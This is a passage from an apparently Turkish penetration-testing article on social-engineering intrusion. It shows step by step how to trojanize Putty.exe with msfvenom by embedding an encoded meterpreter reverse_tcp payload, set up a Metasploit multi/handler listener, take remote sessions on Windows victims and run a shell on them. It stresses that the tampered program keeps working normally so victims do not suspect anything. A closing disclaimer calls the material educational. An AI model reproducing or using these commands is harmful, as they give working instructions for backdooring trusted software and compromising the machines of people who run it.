37.888 backdoor.exe 09.11.2018 14:32 61.952 deneme.exe 25.01.2018 13:17 7 deneme.txt 22.11.2016 20:05 801 downloadfile.vbs 28.01.2018 14:09 308.736 incoming.exe 08.12.2016 01:02 104 Internet Explorer.lnk 19.02.2016 20:40 103.772 kelime k�k� bulmaca.rtf 04.11.2016 21:30 6.332 msf.pdf 28.01.2018 11:56 59.392 nc.exe 04.11.2016 21:44 <DIR> Not K��em 09.11.2018 12:20 111.104 notepad.exe 24.05.2016 14:48 37.888 vnc.exe 05.07.2018 15:23 5.600 Vulnerability Reflected Cross Site Damn Vulnerable Web Application.htm 05.07.2018 15:23 <DIR> Vulnerability Reflected Cross Site Damn Vulnerable Web Application 06.07.2018 12:42 138 Yeni Metin Belgesi.txt 09.11.2016 13:30 6.328 zararliBelge.pdf 15 Dosya 741.649 bayt 4 Dizin 3.161.157.632 bayt bo� Evet, sisteme sızdığımızı teyit ettikten sonra artık bu makale zincirinin öncesinde bahsedilen meterpreter yeteneklerini kullanarak dilediğinizi yetkileriniz ölçüsünde yapabilirsiniz. iii) Sosyal Mühendislik İle Sızma Uygulaması # Örnek 3Şimdi ise tekrarladığımız senaryoyu bu sefer piyasada genellikle sistem yöneticileri için geliştirilmiş olan Putty.exe yazılımının şablonuyla yine tekrarlayalım ve bu makaleyi burada noktalayalım. Bu son örnek ile saldırıya hedef olan kullanıcı makinalarında kullanıcılara nasıl bir intiba uyandırabileceğinize dair bir fikir edinmiş olacaksınız.Payload'umuza şablon olarak kullanacağımız Putty yazılımı şu şekildedir: ![]()
Putty İndirme Linki:
https://www.chiark.greenend.org.uk/~sgtatham/ putty/latest.html Piyasada Putty ismiyle yayınlanmış zararsız bu uygulamayı şimdi virüslü yapalım. Kali Linux Terminal: msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.3.73 LPORT=443 -a x86 --platform windows -x /root/Downloads/putty.exe -k -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o Desktop/putty.exe Çıktı: Found 1 compatible encoders Attempting to encode payload with 5 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 360 (iteration=0) x86/shikata_ga_nai succeeded with size 387 (iteration=1) x86/shikata_ga_nai succeeded with size 414 (iteration=2) x86/shikata_ga_nai succeeded with size 441 (iteration=3) x86/shikata_ga_nai succeeded with size 468 (iteration=4) x86/shikata_ga_nai chosen with final size 468 Payload size: 468 bytes Final size of exe file: 810496 bytes Saved as: Desktop/putty.exe Ardından önceki senaryodan arta kalanları sonlandıralım ve tekrar dinleme moduna geçelim. Kali Linux Terminal: msf exploit(multi/handler) > sessions -k 4,5,6 // pidNo,pidNo,... msf exploit(multi/handler) > jobs -k 1 // jobs -k jobID msf> use exploit/multi/handler msf> set payload windows/meterpreter/reverse_tcp msf> set lhost X.X.X.X // Kali Linux IP si msf> set lport 443 msf> set ExitOnSession false msf> exploit -j Çıktı: [*] Exploit running as background job 1. [*] Started reverse TCP handler on X.X.X.X:443 msf exploit(multi/handler) > Dikkat ederseniz daha önceki iki örnekte kullanılan msf> set AutoRunScript post/windows/manage/migrate msf> set NAME explorer.exe satırları bu sefer kullanılmadı. Çünkü kullanıcının legal yazılımın arayüzünü ekranında olağan şekilde görüntülemesini ve şüphelenmemesini sağlamak istiyoruz. Şimdi oluşturduğumuz putty.exe dosyasını internete koyduğumuzu ve kurbanların da indirdiklerini varsayalım. Windows XP ![]() Windows 10 ![]() Windows Server 2012 ![]() Ardından kurbanların indirdikleri dosyaları çalıştırdıklarını varsayalım. Windows XP ![]() Windows 10 ![]() Windows Server 2012 ![]() Bu sıralarda saldırganın sisteminde oturumların elde edildiğine dair çıktılar belirecektir. Çıktı: msf exploit(multi/handler) > ((( Beklerken oturumlar gelir ))) [*] Sending stage (179779 bytes) to Y.Y.Y.Y [*] Meterpreter session 4 opened (X.X.X.X:443 -> Y.Y.Y.Y:1050) [*] Sending stage (179779 bytes) to Z.Z.Z.Z [*] Meterpreter session 5 opened (X.X.X.X:443 -> Z.Z.Z.Z:49159) [*] Sending stage (179779 bytes) to 172.16.3.111 [*] Meterpreter session 6 opened (X.X.X.X:443 -> T.T.T.T:1667) ((( Bir kez ENTER ))) msf exploit(multi/handler) > (( Konsol arayüzü yine gelir )) Şimdi elde ettiğimiz oturumları listeleyelim. Kali Linux Terminal: msf exploit(multi/handler) > sessions Çıktı: Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 7 meterpreter x86/windows WIN-VJ7UU\Administrator X.X.X.X:443 -> @ WIN-VJ7UU9G4VTO Y.Y.Y.Y:49159 (A.B.C.D) 8 meterpreter x86/windows PENTEST-WINXP\pentest X.X.X.X:443 -> @ PENTEST-WINXP T.T.T.T:1040 (E.F.G.H) 9 meterpreter x86/windows HFSPENTEST\pentest X.X.X.X:443 -> @ HFSPENTEST01 K.K.K.K:1881 (I.J.K.L) Şimdi oturumlardan birine id'si ile geçiş yapalım. Kali Linux Terminal: msf exploit(multi/handler) > sessions -i 8 Çıktı: [*] Starting interaction with 8... meterpreter > ((( İçerdeyiz )) Şimdi hedef sistemin komut satırını alalım ve işletim sistemi & versiyonunu öğrenelim. Kali Linux Terminal: meterpreter > shell Çıktı: Process 1464 created. Channel 1 created. Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Users\Administrator\Desktop> Kali Linux Terminal: C:\Documents and Settings\pentest\Desktop > systeminfo | findstr /C:"OS" Çıktı: OS Name: Microsoft Windows Server 2012 R2 Standard OS Version: X.Y.Z. N/A Build ABCDEF OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Server OS Build Type: Multiprocessor Free BIOS Version: ABC DEF, X.Y.Z Son olarak sızdığımız bu sistemin masaüstü öğelerini görüntüleyelim. Kali Linux Terminal: C:\Users\Administrator\Desktop> dir Çıktı: Volume in drive C has no label. Volume Serial Number is ABC-FDEF Directory of C:\Users\Administrator\Desktop 12.11.2018 07:30 <DIR> . 12.11.2018 07:30 <DIR> .. 09.11.2018 14:32 61.952 deneme.exe 08.11.2018 15:46 111.104 notepad.exe 12.11.2018 07:29 810.496 putty.exe 3 File(s) 983.552 bytes 2 Dir(s) 27.001.946.112 bytes free C:\Users\Administrator\Desktop> Evet, son bir not daha ekleyelim ve yazıyı noktalayalım. Putty yazılımını ekranında görüntüleyen kurban Putty'yi normal bir şekilde kullanabilecektir. Örneğin kurban indirdiği putty programının uzak bir sisteme güvenli bağlantı kur (SSH) özelliğini sorunsuzca kullanabilir. Ancak bu sırada meterpreter payload'umuz Putty process'inin içerisinde ayrı bir thread olarak çalışacağından sistemin içerisinde sessiz sedasız faaliyetlerde bulunabiliriz. Aşağıda virüslü putty yazılımının örneğin güvenli bağlantı kur özelliğinin sorunsuzca kullanılabildiği gösterilmiştir: ![]() ![]() ![]() ![]() Görüldüğü üzere programın ssh bağlantısı kurma özelliğinden faydalanarak sorunsuz bir şekilde bir makinaya bağlantı kurabildik. Evet, makalenin ve bu makalenin yer aldığı makale zincirinin sonuna gelmiş bulunmaktayız. Edindiğiniz bilgileri milli ve yerli sistemlerin korunması yolunda harcamanız dileğiyle...
Sorumluluk Reddi
![]()
Bu makale ve bu makalenin yer aldığı makale zincirinde anlatılan her bir tekniğin izinsizce bir sisteme denenmesi sonucu tespit edilmeniz durumunda 5 ila 10 yıl hapis cezasına çarptırılabileceğinizi ve ayrıyetten yaptığınız hasara oranla maddi tazminat cezasına çarptırılabileceğinizi bildiğinizi varsayıyorum. Tüm bunlar bir yana sicilinizi kirletmeniz sonucunda bu alanda ne kadar bilgili olursanız olun "güvenilmez" damgası yiyeceğinizden Türkiye'de siber güvenlik sektörünü unutmak mecburiyetinde kalacağınızı da bildiğinizi varsayıyorum. Bu makale ve bu makalenin yer aldığı makale zincirinde eğitim amaçlı anlatılan tekniklerin kötü yönde kullanılmasından tarafım sorumlu tutulamaz. Bu bilgiler sadece ve sadece ülkemizde siber güvenlik alanındaki eleman eksikliğini gidermek maksadıyla paylaşılmaktadır. Makale içerisinde yer alan bazı kelime kalıplarının (örn; "sızmak istediğimiz / saldırmak istediğimiz" gibi) sadece ve sadece bir sızma testçi (pentester) bakış açısından ibaret olduğunu beyan etmek isterim.
![]()
|
||||||||||||||||||||
![]() |
||||||||||||||||||||
|
||||||||||||||||||||
Yorumlar |
||||||||||||||||||||
Henüz yorum girilmemiştir. | ||||||||||||||||||||
Yorum Ekle | ||||||||||||||||||||